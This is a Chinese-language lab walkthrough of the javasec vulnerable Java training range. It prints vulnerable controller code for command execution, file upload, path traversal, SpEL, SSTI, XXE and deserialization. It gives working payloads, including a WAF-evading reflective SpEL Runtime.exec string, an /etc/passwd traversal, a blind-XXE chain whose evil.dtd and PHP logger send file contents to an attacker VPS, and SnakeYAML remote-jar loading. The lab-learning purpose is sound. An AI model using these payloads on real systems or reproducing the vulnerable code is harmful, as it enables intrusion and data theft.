java安全-javasec-0.0.1-SNAPSHOT靶场通关解析-第二部分
1.远程命令执行
java中的5大类函数调用,主要是在函数当中知道他是怎么用的哪里执行的函数
1.RuntimeExec
@RequestMapping("/runtime")
public String RuntimeExec(String cmd, Model model) {
StringBuilder sb = new StringBuilder();
String line;
try {
Process proc = Runtime.getRuntime().exec(cmd);
// 1. 获取命令进程的「标准输出流」(字节流)
InputStream fis = proc.getInputStream();
// 2. 将字节流转换为字符流,指定编码为GBK
InputStreamReader isr = new InputStreamReader(fis, "GBK");
// 3. 包装为缓冲字符流,提升读取效率
BufferedReader br = new BufferedReader(isr);
// 4. 循环读取每一行输出,拼接成完整结果
while ((line = br.readLine()) != null) {
sb.append(line).append(System.lineSeparator());
}
} catch (IOException e) {
e.printStackTrace();
sb.append(e);
}
model.addAttribute("results", sb.toString());
return "basevul/rce/runtime";
}
}
上述代码就是将执行后的结果存入proc中将其转化我们能看懂的语言,将字节流转化为字符串的输出到前端页面
其中Runtime.getRuntime().exec(cmd);就是执行函数

2.ScriptEngineManager
源代码
@Controller
@RequestMapping("/home/rce")
public class LoadJsExec {
@GetMapping("/loadjs")
public String loadJsExec(String url, Model model) {
try {
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
// Bindings:用来存放数据的容器
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String payload = String.format("load('%s')", url);
engine.eval(payload, bindings);
model.addAttribute("results", "远程脚本: " + HtmlUtils.htmlEscape(url) + " 执行成功!");
} catch (Exception e) {
e.printStackTrace();
model.addAttribute("results", e.toString());
}
return "basevul/rce/loadjs";
}
}
看代码中的远程脚本就知道大概是一个执行一个js文件导致的代码执行漏洞
var a = mainOutput();
function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};
这里新建一个js文件放在服务器上让它加载这个js文件,就能实现弹出计算器,但是我这里应该是jdk版本问题没有复现成功
3.Groovy
源码
@Controller
@RequestMapping("/home/rce")
public class GroovyExec {
@GetMapping("/groovy")
public String groovyExec(String cmd, Model model) {
GroovyShell shell = new GroovyShell();
try {
shell.evaluate(cmd);
model.addAttribute("results", "执行成功!!!");
} catch (Exception e) {
e.printStackTrace();
model.addAttribute("results", e.toString());
}
return "basevul/rce/groovy";
}
}
这里比较简单了,新建了一个GroovyShell对象,直接调用命令执行方法
"calc".execute() //这个类方法执行命令写法
执行成功
4.ProcessBuilder
源码
@Controller
@RequestMapping("/home/rce")
public class ProcessBuilderExec {
@RequestMapping("/processbuilder")
public String ProcessBuilderExec(String ip, String safe, Model model) {
if (safe != null) {
if (Security.checkOs(ip)) {
model.addAttribute("results", "检测到非法命令注入");
return "basevul/rce/processbuilder";
}
}
// String[] cmdList = {"sh", "-c", "ping -c 1 " + ip};
String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};
StringBuilder sb = new StringBuilder();
String line;
String results;
// 利用指定的操作系统程序和参数构造一个进程生成器
ProcessBuilder pb = new ProcessBuilder(cmdList);
pb.redirectErrorStream(true);
// 使用此进程生成器的属性启动一个新进程
Process process = null;
try {
process = pb.start();
// 取得命令结果的输出流
InputStream fis = process.getInputStream();
// 用一个读输出流类去读
InputStreamReader isr = new InputStreamReader(fis, "GBK");
// 用缓存器读行
BufferedReader br = new BufferedReader(isr);
//直到读完为止
while ((line = br.readLine()) != null) {
sb.append(line).append(System.lineSeparator());
}
results = sb.toString();
} catch (IOException e) {
e.printStackTrace();
results = e.toString();
}
model.addAttribute("results", results);
return "basevul/rce/processbuilder";
}
}
这里的safe代表的即就是开关,决定他是否为ip进行过滤,而后面的命令回显基本流程就是将取得命令的字节流转化为我们看的懂得字符串返回到前端页面,也就是有回显
这里可以用管道符,分号等执行命令

5.ProcessImpl
这种类似process的函数就是与进程有关的,和命令执行还是很相关的,源码
@Controller
@RequestMapping("/home/rce")
public class ProcessImplExec {
@RequestMapping("/processimpl")
public String processImplExec(String cmd, Model model) {
CharArrayWriter infoStream = null;
try {
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
char[] bs = new char[2048];
int readSize = 0;
infoStream = new CharArrayWriter();
InputStream inputStream = e.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream, "GBK");
while ((readSize = inputStreamReader.read(bs)) > 0) {
infoStream.write(bs, 0, readSize);
}
model.addAttribute("results", infoStream.toString());
} catch (Exception ex) {
ex.printStackTrace();
model.addAttribute("results", ex.toString());
}
return "basevul/rce/processimpl";
}
}
这个类是JDK内部私有类,不能通过import直接导入,只能通过反射的方式导入,且必须要 method.setAccessible(true);突破私有方法的限制才能够正常使用

2.文件操作
1.文件上传
@Controller
@RequestMapping("/home/file")
public class UploadVul {
private static final String UPLOADED_FOLDER = System.getProperty("user.dir") + "/src/main/resources/static/upload/";
@RequestMapping("/upload")
public String uFile(@RequestParam("file") MultipartFile file, Model model, String check, HttpServletRequest httpServletRequest) {
if (file.isEmpty()) {
model.addAttribute("results", "请选择要上传的文件!");
return "basevul/file/upload";
}
String fileName = file.getOriginalFilename();
if (check.equals("true")) {
// 获取文件后缀名,并且索引到最后一个,避免使用.jpg.jsp来绕过
assert fileName != null;
String Suffix = fileName.substring(fileName.lastIndexOf("."));
String[] SuffixSafe = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean flag = false;
// 如果满足后缀名单,返回true
for (String s : SuffixSafe) {
if (Suffix.toLowerCase().equals(s)) {
flag = true;
break;
}
}
if (!flag) {
model.addAttribute("results", "请勿HACK! ");
return "basevul/file/upload";
}
}
try {
//获取文件名以及上传路径
byte[] bytes = file.getBytes();
Path dir = Paths.get(UPLOADED_FOLDER);
Path path = Paths.get(UPLOADED_FOLDER + fileName);
//判断dir这个路劲是否存在,不存在就创建
if (!Files.exists(dir)) {
Files.createDirectories(dir);
}
Files.write(path, bytes);
//获取你的完成域名,回显给你访问地址
String urlPath = httpServletRequest.getContextPath();
String scheme = httpServletRequest.getScheme();
String serverName = httpServletRequest.getServerName();
int port = httpServletRequest.getServerPort();
String basePath = scheme + "://" + serverName + ":" + port + urlPath;
model.addAttribute("results", "上传成功" + System.lineSeparator() + "文件路径: " + path + System.lineSeparator() + "访问地址: " + basePath + "/upload/" + fileName);
} catch (Exception e) {
model.addAttribute("results", "上传失败: " + e);
}
return "basevul/file/upload";
}
}
这里没开过滤就直接上传文件就行,但是开启了过滤就只能上传白名单后缀的文件了,可以直接上传一句话木马连接就行了,我这里打包的jar文件路径和代码里面路径不同上传不了
2.文件下载
@Controller
@RequestMapping("/home/file")
public class DownloadVul {
@RequestMapping("/download")
public String readFile(String filename, String check, HttpServletResponse response, Model model) {
// 判断文件内容是否存在非法路径符../ / \等等
if (check != null && check.equals("true")) {
if (Security.checkTraversal(filename)) {
model.addAttribute("results", "请勿输入非法文件名!");
return "basevul/file/download";
}
}
String filePath = System.getProperty("user.dir") + "/src/main/resources/static/upload/" + filename;
try {
File file = new File(filePath);
InputStream fis = new BufferedInputStream(Files.newInputStream(file.toPath()));
byte[] buffer = new byte[fis.available()];
fis.read(buffer);
fis.close();
// 配置HTTP响应头(关键:告诉浏览器这是文件下载,而非普通页面)
response.reset(); // 重置响应对象,清除默认头信息
// 核心响应头:告诉浏览器以“附件”形式下载,指定下载文件名
response.addHeader("Content-Disposition", "attachment;filename=" + filename);
// 响应头:告诉浏览器文件大小,方便进度显示
response.addHeader("Content-Length", "" + file.length());
// 获取响应输出流,将文件内容发送给客户端
OutputStream toClient = new BufferedOutputStream(response.getOutputStream());
// 设置响应内容类型:二进制流(通用文件类型,兼容所有文件)
response.setContentType("application/octet-stream");
// 把文件字节数组写入输出流(核心:文件内容发送给浏览器)
toClient.write(buffer);
toClient.flush(); // 刷新输出流,确保内容全部发送
toClient.close(); // 关闭流,完成下载
// 下载核心逻辑结束 ↑
return "";
} catch (Exception e) {
e.printStackTrace();
model.addAttribute("results", e.toString());
return "basevul/file/download";
}
}
}
这里是任意文件下载源码通过../等操作下载源码或者获取系统敏感文件如liunx中../../../../etc/passwd等
3.spel注入
SpEL(Spring Expression Language)是Spring Framework中的一种表达式语言,它允许在运行时对对象图进行查询和操作。在应用程序中,如果使用不当,攻击者可以通过构造恶意输入来注入SpEL表达式,从而在表达式被解析时执行任意的命令,导致安全漏洞。
直接看源码
public class SPELVul {
@RequestMapping("")
public String spelVul(String exp, Model model) {
try {
// 1. 创建解析器:SpEL使用ExpressionParser接口表示解析器,提供SpelExpressionParser默认实现
ExpressionParser parser = new SpelExpressionParser();
// StandardEvaluationContext权限过大,可以执行任意代码
EvaluationContext evaluationContext = new StandardEvaluationContext();
// 2. 解析表达式: 使用ExpressionParser的parseExpression来解析相应的表达式为Expression对象
// 3. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值
String result = parser.parseExpression(exp).getValue(evaluationContext).toString();
model.addAttribute("results", result);
} catch (ParseException e) {
e.printStackTrace();
model.addAttribute("results", e.toString());
}
return "basevul/spel/spel";
}
}
判断是否有漏洞可以输入一个数学表达式看他是否解析输入100-1

发现执行了结果为99
SPEl注入用T来取对象进行操作,我们取到对象可以是Runtime,来进行命令执行函数

如果有waf防护的话可以尝试用反射的方式进行操作,下面是poc
T(String).getClass().forName("java.l" + "ang.Ru" + "ntime").getMethod("ex" + "ec", T(String[])).invoke(T(String).getClass().forName("java.l" + "ang.Ru" + "ntime").getMethod("getRu" + "ntime").invoke(T(String).getClass().forName("java.l" + "ang.Ru" + "ntime")),new String[]{"calc"})
同样能够弹出计算机
4.SSTI模板注入
模版注入,在测试网站的时候可以看网页是否有模版切换的地方,就可以插入payload测试,如果要知道具体原理Thymeleaf 模板注入命令执行 - 知乎
这里可以看看具体代码
@RequestMapping("/thymeleaf")
public String thymeleaf(String content) {
return "user/" + content + "/welcome"; //template path is tainted
}

5.xxe-xml外部实体注入
xml攻击形式都是一样的,但是需要认识其中的能加载外部实体的方法
1.xmlReader
下面源码触发xml的地方是第二段
// 创建一个xml解释器
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 将字符串转化为字符流,并将其包装成xml专用的输入源,在解析xml,从内向外
xmlReader.parse(new InputSource(new StringReader(content)));
// 防止xml外部实体注入的方式
// 将功能 "http://apache.org/xml/features/disallow-doctype-decl" 设置为“真”时, 不允许使用 DOCTYPE。
// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
从函数的名字就能看出来xmlReaderxml读取的一个接口
而payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://0g5zvd.dnslog.cn">]>
<root>&xxe;</root>
如果服务器解析了里面的dns,就说明你写入的地址有解析,就能反弹shell创建后门之类的操作

这里是解析成功了的
2.saxreader
直接看源代码
SAXReader sax = new SAXReader();
// 修复:禁用外部实体
// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.read(new InputSource(new StringReader(content)));
这里是一个类,也是用于解析xml,上述用途基本一样,可以了解一下这个函数,以及他的修复方式
3.SAXBuilder
SAXBuilder是一个JDOM解析器,能将路径中的XML文件解析为Document对象
SAXBuilder saxbuilder = new SAXBuilder();
// saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxbuilder.build(new InputSource(new StringReader(content)));
4.DocumentBuilder
// DocumentBuilderFactory是用于创建DOM模式的解析器对象,newInstance方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
StringReader sr = new StringReader(content);
InputSource is = new InputSource(sr);
Document document = builder.parse(is);
// 获取<person>标签名
NodeList nodeList = document.getElementsByTagName("person");
Element element = (Element) nodeList.item(0);
return String.format("姓名: %s", element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue());
他将字符串转化成字符流在转化成xml解析专用输入流分成了两部,和上面基本是一样的,最后解析xml外部实体的函数builder.parse(is)
5.Unmarshaller
JAXBContext context = JAXBContext.newInstance(Student.class);
Unmarshaller unmarshaller = context.createUnmarshaller();
XMLInputFactory xif = XMLInputFactory.newFactory();
// fixed: 禁用外部实体
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
// 默认情况下在1.8版本上不能加载外部dtd文件,需要更改设置。
// xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);
// xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));
Object o = unmarshaller.unmarshal(xsr);
禁用外部实体不用多说了就是防御手段,其中jdk1.8版本以上就不能加载外部dtd文件了,也就是说在无回显的情况下是不能通过dtd文件带出系统敏感文件的,因此版本很重要,具体怎么能带出系统敏感文件
需要再你自己的vps上创建两个文件
evil.dtd文件
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://VPS/get.php?data=%file;'>">
%all;
作用会将你在xml文件中读取的文件内容传入到%file中,而他又会访问本地vps上的get.php文件
get.php文件
<?php
$data = $_GET['data'];
file_put_contents('xxe.log', base64_decode($data)."\n", FILE_APPEND);
?>
将读取到的文件以base64的形式生成在在当前目录下xxe.log的文件
xml-payload
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % remote SYSTEM "http://VPS/test.dtd">
%remote;
%all;
]>
<root>
&send;
</root>
这样就形成了敏感文件外带,但是由于上述的jdk版本问题,无法加载外部dtd文件就会导致失效
6.java反序列化
主要目的是了解java当中的反序列化函数有那些,这里面利用是利用的第三方库里面的漏洞,需要分析第三方库,这里只要了解有哪些反序列化函数就行了
1.readobject
BASE64Decoder decoder = new BASE64Decoder();
// 坑:读取的base64内容,加号会被转空格
content = content.replace(" ", "+");
byte[] bytes = decoder.decodeBuffer(content);
// 将字节转为输入流
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
// 反序列化流,将序列化的原始数据恢复为对象
java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);
in.readObject();
in.close();
model.addAttribute("results", "执行成功!");
上面代码解释的非常清楚了,解码一次base64,也就是传入数据的形式要用base64,里面关键两个函数饭序列化流,将反序列化的原始数据恢复为对象
这里利用可以用专门的序列化生成工具可以在网上找也可以就用yakit自带的java反序列化利用工具

反序列化成功,也可以看看其他这里面的第三方库,不仅仅是用CommonsCollections5
2.xmldecoder
这里严格来说不是java反序列化,只是用反序列化的方法处理的xml外部实体,从名字看的出来时xml解析造成的命令执行
看一下注释把
// 方法定义:接收cmd命令参数,Model用来存返回结果
public String xmlDecoder(String cmd, Model model) {
// 1. 初始化:存执行结果/异常信息的字符串构建器
StringBuilder results = new StringBuilder();
// 2. 拆分命令:把输入的cmd按空格拆分成数组(比如"cmd /c calc"→["cmd","/c","calc"])
// 原因:ProcessBuilder(启动系统进程的类)需要字符串数组形式的命令参数
String[] strCmd = cmd.split(" ");
// 3. 核心:拼接恶意XML模板(符合XMLDecoder解析规则)
StringBuilder sb = new StringBuilder()
// XML头部声明,指定版本和编码
.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
// XMLDecoder的根标签,指定解析器类型
.append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">")
// 指令1:实例化Java的ProcessBuilder类(用来启动系统进程)
.append(" <object class=\"java.lang.ProcessBuilder\">\n")
// 指令2:定义字符串数组,长度=命令拆分后的元素个数(给ProcessBuilder传参)
.append(" <array class=\"java.lang.String\" length=\"" + strCmd.length + "\">");
// 循环:给数组的每个下标赋值(填充命令的每个部分)
for (int i = 0; i < strCmd.length; i++) {
sb.append(" <void index=\"" + i + "\">") // 给数组第i个位置赋值
.append(" <string>" + strCmd[i] + "</string>") // 数组第i位的值=命令拆分后的元素
.append(" </void>");
}
// 完成XML拼接:关闭数组标签 + 指令3(调用ProcessBuilder的start()方法) + 关闭所有标签
sb.append(" </array>")
.append(" <void method=\"start\" />") // 关键:调用start()启动系统进程
.append(" </object>")
.append("</java>");
// 把拼接的StringBuilder转成最终的XML字符串
String xml = sb.toString();
try {
// 4. 创建XMLDecoder解析器:把XML字符串转成字节流传入解析器
java.beans.XMLDecoder xmlDecoder = new java.beans.XMLDecoder(
new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8)));
// 5. 核心执行:解析XML并执行里面的所有指令(实例化ProcessBuilder + 调用start())
xmlDecoder.readObject();
// 关闭解析器
xmlDecoder.close();
// 执行成功:把结果和拼接的XML存入Model(返回给页面展示)
model.addAttribute("results", results.append("执行成功!")
.append(System.lineSeparator()).append("XML:")
.append(System.lineSeparator()).append(sb));
} catch (Exception e) {
// 捕获异常(比如命令不存在、权限不足),打印堆栈并把异常存入Model
e.printStackTrace();
model.addAttribute("results", results.append(e));
}
// 返回页面路径(前端展示结果)
return "deserialize/xmldecoder";
}
总的来说就是专门设计的一个命令执行的地方这里的sb就是xml本体一直拼接,直到为一个正常的xml外部实体在用readObject()解析外部实体
3.SnakeYAML
SnakeYAML 在反序列化时可以指定 class 类型和构造方法的参数,可以指定也就是说可以远程通过与远程加载jar包执行代码这里需要一个针对的项目
artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads
下载好之后在里面修改需要执行java的命令

执行计算器命令
执行这两条命令
javac src\artsploit\AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
// 在你的src同级目录下会生成一个jar文件
将这个jar文件放在你自己创配置的环境的根目录下

执行成功,成功实现命令执行
更多推荐
所有评论(0)